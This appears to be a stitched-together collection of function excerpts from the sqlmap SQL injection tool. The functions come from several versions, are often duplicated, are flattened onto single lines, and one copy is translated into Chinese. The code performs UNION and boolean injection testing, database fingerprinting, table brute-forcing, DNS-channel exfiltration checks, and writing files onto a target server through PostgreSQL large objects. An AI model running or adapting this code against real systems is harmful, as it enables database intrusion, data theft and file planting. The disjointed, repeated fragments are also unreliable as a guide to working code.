def __commentCheck(self): logMsg = "executing MySQL comment injection fingerprint" logger.info(logMsg) query = agent.prefixQuery(" /* NoValue */") query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result != kb.defaultResult: warnMsg = "unable to perform MySQL comment injection" logger.warn(warnMsg) return None # MySQL valid versions updated at 10/2008 versions = ( (32200, 32233), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40031), # MySQL 4.0 (40100, 40125), # MySQL 4.1 (50000, 50074), # MySQL 5.0 (50100, 50131), # MySQL 5.1 (60000, 60009), # MySQL 6.0 ) for element in versions: prevVer = None for version in range(element[0], element[1] + 1): randInt = randomInt() version = str(version) query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result == kb.defaultResult: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount( comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms ]): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " test = readInput(message, default="Y") if test[0] not in ("y", "Y"): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm( comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all([validPayload, vector ]) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) return validPayload, vector
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount( comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE, ) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " test = readInput(message, default="Y") if test[0] not in ("y", "Y"): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all([validPayload, vector]) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) return validPayload, vector
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): localFileSize = os.path.getsize(localFile) content = open(localFile, "rb").read() self.oid = randomInt() self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) for offset in xrange(0, localFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode( content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) inject.goStacked( "INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % remoteFile logger.debug(debugMsg) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True) written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) return written
def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) return not any( re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison( page, headers, code) or re.search( r"data types cannot be compared or sorted", page or "", re.I) is not None if _orderByTest( 1 if lowerCount is None else lowerCount) and not _orderByTest( randomInt() if upperCount is None else upperCount + 1): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP if highCols > ORDER_BY_MAX: break else: while not found: mid = highCols - (highCols - lowCols) // 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: randInt = randomInt() result = inject.checkBooleanExpression( "BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"), \ ("2008", "SYSDATETIME()=SYSDATETIME()")): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False
def runAsDBMSUser(self, query): if conf.dCred and "Ad Hoc Distributed Queries" not in query: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement): sqlType = sqlTitle break if sqlType and "SELECT" not in sqlType: query = "SELECT %d;%s" % (randomInt(), query) query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) return query
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: randInt = randomInt() result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"), \ ("2008", "SYSDATETIME()=SYSDATETIME()") ]: result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False
def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support" logger.error(errMsg) conf.dName = None else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg)
def checkDynParam(place, parameter, value): """ This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ if kb.redirectChoice: return None kb.matchRatio = None dynResult = None randInt = randomInt() infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) try: payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) if not dynResult: infoMsg = "confirming that %s parameter '%s' is dynamic" % ( place, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) except sqlmapConnectionException: pass if dynResult is None: return None else: return not dynResult
def adjustLateValues(self, payload): """ Returns payload with a replaced late tags (e.g. SLEEPTIME) """ if payload: payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) return payload
def checkForParenthesis(): """ This method checks if the SQL injection affected parameter is within the parenthesis. """ logMsg = "testing for parenthesis on injectable parameter" logger.info(logMsg) count = 0 if kb.parenthesis != None: return if conf.prefix or conf.postfix: kb.parenthesis = 0 return for parenthesis in range(1, 4): query = agent.prefixQuery("%s " % (")" * parenthesis)) query += "AND %s" % ("(" * parenthesis) randInt = randomInt() randStr = randomStr() if kb.injType == "numeric": query += "%d=%d" % (randInt, randInt) elif kb.injType == "stringsingle": query += "'%s'='%s" % (randStr, randStr) elif kb.injType == "likesingle": query += "'%s' LIKE '%s" % (randStr, randStr) elif kb.injType == "stringdouble": query += "\"%s\"=\"%s" % (randStr, randStr) elif kb.injType == "likedouble": query += "\"%s\" LIKE \"%s" % (randStr, randStr) else: raise sqlmapNoneDataException, "unsupported injection type" payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result == kb.defaultResult: count = parenthesis logMsg = "the injectable parameter requires %d parenthesis" % count logger.info(logMsg) setParenthesis(count)
def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming( tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db: fullTableName = "%s%s%s" % ( conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) else: fullTableName = table result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.outputs.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % ( time.strftime("%X"), table) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit), '%') dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release()
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): wFileSize = os.path.getsize(wFile) content = open(wFile, "rb").read() self.oid = randomInt() self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) for offset in xrange(0, wFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset : offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) inject.goStacked( "INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName) ) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile logger.debug(debugMsg) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) return written
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ 此方法测试目标URL是否受unionSQL注入漏洞的影响。 测试在目标数据库表上最多可以有50列 """ validPayload = None vector = None # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount( comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms ]): warnMsg = u"如果没有检测到基于UNION的SQL注入,请考虑" if not conf.uChar and count > 1 and kb.uChar == NULL: message = u"注入不能利用NULL值。你想尝试一个随机整数值选项'--union-char'吗? [Y/n] " if not readInput(message, default="Y", boolean=True): warnMsg += u"使用选项'--union-char'(例如'--union-char = 1')" else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm( comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += u"强制尝试!" else: warnMsg += u"强制指定后端数据库类型(例如“--dbms = mysql”)" if not all([validPayload, vector ]) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) return validPayload, vector
def cleanupPayload(self, payload, origValue=None): if payload is None: return replacements = ( ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop), ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar), ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT) ) payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload) for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): payload = payload.replace(_, randomStr()) if origValue is not None: origValue = getUnicode(origValue) if "[ORIGVALUE]" in payload: payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[ORIGINAL]" in payload: payload = getUnicode(payload).replace("[ORIGINAL]", origValue) if INFERENCE_MARKER in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace(INFERENCE_MARKER, inferenceQuery) elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) return payload
def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: conf.dnsDomain = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg)
def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse( payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support" logger.error(errMsg) conf.dName = None else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg)
def checkDbms(self): if conf.dbms in MAXDB_ALIASES: setDbms(DBMS.MAXDB) self.getBanner() if not conf.extensiveFp: return True logMsg = "testing SAP MaxDB" logger.info(logMsg) randInt = randomInt() payload = agent.fullPayload("AND NOROUND(%d)=%d" % (randInt, randInt)) result = Request.queryPage(payload) if result: logMsg = "confirming SAP MaxDB" logger.info(logMsg) payload = agent.fullPayload("AND MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not SAP MaxDB" logger.warn(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() if not conf.extensiveFp: return True kb.dbmsVersion = None return True else: warnMsg = "the back-end DBMS is not SAP MaxDB" logger.warn(warnMsg) return False
def simpletonCheckSqlInjection(place, parameter, value): """ This is a function for the quickest and simplest SQL injection check (e.g. AND 1=1) - only works with integer parameters """ result = False randInt = randomInt() if value.isdigit(): payload = "%s AND %d=%d" % (value, randInt, randInt) else: return False payload = agent.payload(place, parameter, value, payload) firstPage, _ = Request.queryPage(payload, place, content=True, raise404=False) if not (wasLastRequestDBMSError() or wasLastRequestHTTPError()): if getComparePageRatio(kb.originalPage, firstPage, filtered=True) > CONSTANT_RATIO: payload = "%s AND %d=%d" % (value, randInt, randInt + 1) payload = agent.payload(place, parameter, value, payload) secondPage, _ = Request.queryPage(payload, place, content=True, raise404=False) result = getComparePageRatio(firstPage, secondPage, filtered=True) <= CONSTANT_RATIO infoMsg = "simpleton test shows that %s " % place infoMsg += "parameter '%s' might " % parameter if result: infoMsg += "be injectable" logger.info(infoMsg) else: infoMsg += "not be injectable" logger.warn(infoMsg) return result